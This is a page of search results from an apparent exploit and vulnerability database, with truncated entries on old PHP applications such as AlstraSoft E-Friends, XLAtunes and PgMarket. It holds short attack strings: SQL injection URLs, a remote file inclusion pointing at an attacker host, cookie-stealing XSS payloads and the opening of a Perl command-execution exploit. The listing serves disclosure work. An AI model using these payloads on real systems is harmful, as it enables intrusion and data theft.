349 matches found
XLAtunes 0.1 (album) Remote SQL Injection Vulnerability
Critical Status:High Found By: 0x90 Download:http://www.scriptdungeon.com/script.php?ScriptID=2844 Greetz:all my friends confkey-Password confvalue-Username Table:config http://host.com/path/?mode=view&album=-120UNION20SELECT20confkey20FROM20config/...
Magic Photo Storage Website _config[site_path] File Include Vuln
No description provided by source. magic photo storage website -- Remote File Inclusion Vendor : http://www.scriptaty.net/magic-photo-storage-website.html Demo Site : http://www.turnkeydemos.info/demo/picstorage/ Found By : k1tk4t - k1tk4t4tnewhack.org Location : Indonesia -- newhackdotorg...
Newxooper-PHP 0.9.1 - mapage.php Remote File Inclusion
Newxooper-PHP 0.9.1 - mapage.php Remote File Inclusion Newxooper-php v0.9.1chemin Remote File Include Vulnerabilty Download:http://www.easy-script.com/newxoope-091.zip Author:Dr Max Virus Location:Egypt Bug in compteur/mapage.php In Line:37 Vul Code: REQUIRE "$chemin/compteur/mapage.txt"; POC:...
CVE-2006-4994
Multiple unquoted Windows search path vulnerabilities in Apache Friends XAMPP 1.5.2 might allow local users to gain privileges via a malicious program file in %SYSTEMDRIVE%, which is run when XAMPP attempts to execute 1 FileZillaServer.exe, 2 mysqld-nt.exe, 3 Perl.exe, or 4 xamppcontrol.exe with ...
CVE-2006-4994
The CVE-2006-4994 issue affects Apache Friends XAMPP 1.5.2 and is caused by unquoted Windows search paths in the launcher/executables. When a malicious program is placed under %SYSTEMDRIVE% and an executable (FileZillaServer.exe, mysqld-nt.exe, Perl.exe, or xamppcontrol.exe) is invoked with an un...
CVE-2006-4913
Directory traversal vulnerability in chat/getStartOptions.php in AlstraSoft E-friends 4.85 allows remote attackers to include arbitrary local files and possibly execute arbitrary code via a .. dot dot sequence and trailing null %00 byte in the lang parameter, as demonstrated by injecting PHP code...
CVE-2006-4913
Directory traversal vulnerability in chat/getStartOptions.php in AlstraSoft E-friends 4.85 allows remote attackers to include arbitrary local files and possibly execute arbitrary code via a .. dot dot sequence and trailing null %00 byte in the lang parameter, as demonstrated by injecting PHP code...
CVE-2006-4913
The CVE-2006-4913 entry describes a directory traversal in AlstraSoft E-friends 4.85 (chat/getStartOptions.php). An attacker can cause local file inclusion and potentially execute code by supplying a .. sequence and a trailing null (%00) byte in the lang parameter, demonstrated by injecting PHP i...
Alstrasoft e-Friends 4.85 - Remote Command Execution
Alstrasoft e-Friends 4.85 - Remote Command Execution !/usr/bin/perl AlstraSoft Efriends 4.85 Remote Command Execution Exploit Site : http://www.alstrasoft.com/efriends.htm Coded by Kw3RLn from Romanian Security Team a.K.A http://RST-CREW.NET Contact: [email protected] or [email protected] P...
AlstraSoft E-Friends <= 4.85 Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl AlstraSoft Efriends 4.85 Remote Command Execution Exploit Site : http://www.alstrasoft.com/efriends.htm Coded by Kw3RLn from Romanian Security Team a.K.A http://RST-CREW.NET Contact: [email protected] or [email protected] PS: fuck CarcaBot...
AlstraSoft E-Friends <= 4.85 Remote Command Execution Exploit
Exploit for unknown platform in category web applications ============================================================= AlstraSoft E-Friends = 4.85 Remote Command Execution Exploit ============================================================= !/usr/bin/perl AlstraSoft Efriends 4.85 Remote Command...
Alstrasoft e-Friends 4.85 - Remote Command Execution
!/usr/bin/perl AlstraSoft Efriends 4.85 Remote Command Execution Exploit Site : http://www.alstrasoft.com/efriends.htm Coded by Kw3RLn from Romanian Security Team a.K.A http://RST-CREW.NET Contact: [email protected] or [email protected] PS: fuck CarcaBot ..another lame romanian guy= use...
ackertodo.txt
index.php?cmd=edittask&taskid="document.writedocument.cookie; AckerTodo use Cookies! You can Get!! Greetings: Securitydot, WarezWorld, Under-Attack, Opensource and all my friends...
pgmarket223.txt
C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit: http://www.site.com/path/common.inc.php?CFGlibdir=http://evilscripts? Greetz: str0ke,...
chatizens.txt
Chatizens.com Also known as Chattown.com Homepage: http://www.chatizens.com Affected files: Profile input boxes: All input boxes of your profile. Browsing the forums -------------------------------------------- XSS vuln with cookie disclosure via profile input boxes. To bypass chatizens filters o...
AlstraSoft E-Friends - XSS
AlstraSoft E-Friends - XSS Homepage: http://www.alstrasoft.com/ Description: Alstrasoft E-friends allows you to run a community site like MySpace and Friendster. Effected files or areas of site: index.php The input forms on the following items belowdo not properlly filter out all potential harmfu...
Cross site scripting
Multiple cross-site scripting XSS vulnerabilities in index.php in AlstraSoft E-Friends allow remote attackers to inject arbitrary web script or HTML by 1 posting a blog, 2 posting a listing, 3 posting an event, 4 adding comments, or 5 sending a message...
CVE-2006-2564
CVE-2006-2564 concerns multiple XSS vulnerabilities in the index.php of AlstraSoft E-Friends. The vulnerability enables remote attackers to inject arbitrary web script or HTML by performing actions such as posting a blog, listing, event, adding comments, or sending a message. Connected records co...
phpRaid "view.php" XSS Vulnerability
phpRaid "view.php" XSS Vulnerability Script : phpRaid Script Website : http://www.spiffyjr.com/ Version : phpRaid v2.9.5 This Xss Works On phpRaid Exploit ; 1- Http://www.example.com/phpRaid/view.php?scriptalert'Xss20Vulnerability';/script 2-...
PhxContactsSQL.txt
+PhxContacts +website of software:http://www.phoetux.net/ +founded by Morocco Security Team +special 10x to:all friends ww.lezr.com & www.cim-team.org +xss +http://target/login.php?m=xss +SQL +http://target/carnet.php?viewcat=&alllines=true&motclef=sql...